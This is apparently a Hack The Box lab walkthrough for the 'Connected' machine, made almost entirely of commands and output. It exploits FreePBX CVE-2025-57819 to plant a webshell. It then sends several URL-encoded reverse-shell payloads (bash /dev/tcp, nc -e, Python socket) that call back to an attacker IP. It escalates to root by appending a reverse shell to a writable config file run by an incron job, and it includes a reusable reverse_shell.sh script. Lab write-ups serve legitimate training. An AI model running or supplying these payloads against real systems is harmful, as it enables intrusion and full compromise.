nmap -sV 10.129.81.130

PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http      Apache httpd 2.4.6 (CentOS) PHP/7.4.16
443/tcp open  ssl/https Apache/2.4.6 (CentOS) PHP/7.4.16

echo "10.129.81.130 connected.htb" >> /etc/hosts

gobuster dir -u http://connected.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819.git
cd watchTowr-vs-FreePBX-CVE-2025-57819

python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=hostname

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=whoami"

asterisk

nc -lvnp 4444

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.234%2F4444%200%3E%261%27"

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=nc%20-e%20/bin/bash%2010.10.14.234%204444"

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.234%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bsubprocess.call([%22/bin/bash%22%2C%22-i%22])%27"

listening on [any] 4444 ...
connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 55944
bash: no job control in this shell
[asterisk@connected html]$

find /etc -name "*.conf" -writable 2>/dev/null

/etc/dahdi/init.conf

cat /etc/incron.d/*

/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.234/4545 0>&1"' >> /etc/dahdi/init.conf

nc -lvnp 4545

echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart

connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 45996
bash: no job control in this shell
[root@connected /]#

whoami
# root

id
# uid=0(root) gid=0(root) groups=0(root)

cat /home/asterisk/user.txt

HTB{...user_flag...}

cat /root/root.txt

HTB{...root_flag...}

htb-labs-connected/
├── README.md
├── README-ES.md
├── exploits/
│   ├── watchTowr-vs-FreePBX-CVE-2025-57819/
│   ├── CVE-2025-57819-exploit/
│   └── CVE-2025-57819-poc/
├── payloads/
│   └── reverse_shell.sh
├── scans/
│   ├── nmap_scan.txt
│   └── gobuster_results.txt
├── screenshots/
└── flags/

#!/bin/bash

# Reverse shell for HTB Connected
# Usage: ./reverse_shell.sh 10.10.14.234 4444

IP=$1
PORT=$2

if [ -z "$IP" ] || [ -z "$PORT" ]; then
    echo "Usage: $0 <IP> <PORT>"
    exit 1
fi

bash -c "bash -i >& /dev/tcp/$IP/$PORT 0>&1"

# Full port scan
nmap -sV -p- -T4 10.129.81.130

# Service and default script scan
nmap -sC -sV -p22,80,443 10.129.81.130

# Directory fuzzing
gobuster dir \
    -u http://connected.htb \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html

# Fuzzing the admin directory
gobuster dir \
    -u http://connected.htb/admin \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html,conf,ini,bak

curl -k https://connected.htb

ip addr show tun0

4445
8080
1234